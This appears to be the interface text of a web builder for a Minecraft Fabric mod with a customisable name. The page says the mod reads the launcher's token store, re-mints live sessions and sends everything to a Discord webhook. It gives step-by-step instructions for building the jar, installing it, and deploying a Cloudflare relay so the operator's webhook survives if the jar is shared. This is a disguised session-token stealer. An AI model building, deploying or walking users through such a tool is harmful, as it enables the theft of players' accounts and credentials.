Customize name & details
Leave any field blank to keep its generic default.
.jar
ending to use it verbatim.
. - _
-
Get a hook URL — either a Discord webhook
(
discord.com/api/webhooks/...) or, safer, a Cloudflare relay URL (…workers.dev). With a relay, your real webhook never ends up inside the jar — no one can spam it or delete it remotely even if the jar leaks. - Go to the Build tab, paste the hook URL into the box, click Build Mod and download the jar.
- Install Fabric for your Minecraft version — the official Fabric installer. This mod is universal: any Fabric 1.18+ version works. It touches no version-specific code and needs no Fabric API.
-
Drop the jar into your mods folder — press
Win + R, type%appdata%\.minecraft\mods, Enter, then paste the mod in. Have the launcher closed while you do it. - Launch Minecraft from the Fabric profile. Within a few seconds the mod reads the launcher token store, re-mints a live session where possible, and pushes everything to your hook URL.
webhook.txt).
Paste your Discord webhook below and hit generate — you get a ready-to-paste Cloudflare worker with your link already baked in. Copy, drop it into Cloudflare's editor, deploy. No env vars, no guessing.
Deploy the relay — free, safer, 3 minutes
Why safer: the jar only ever carries one tidy
…workers.dev URL — your real Discord
webhook is never baked into the downloaded jar or passed around. Even
if the jar leaks or gets shared, nobody can spam your channel or hit
Discord's API to delete the webhook — they only ever reach the relay.
- Create the Worker — go to dash.cloudflare.com → Workers & Pages → Create → Create Worker. Name it — anything works, Cloudflare even auto-suggests a random one — and hit Deploy.
- Paste the generated code — open Edit code, delete the default script, paste the worker you generated above, then Save and deploy. Your hook is already baked in — nothing else to configure.
- Grab the URL — the worker's address is shown at the top of its page. Paste that into the Build tab instead of the raw Discord hook.
The worker supports an optional
HOOK_SECRET + X-Hook-Secret
handshake, but the mod doesn't send one — leave it unset unless you're
testing requests by hand.
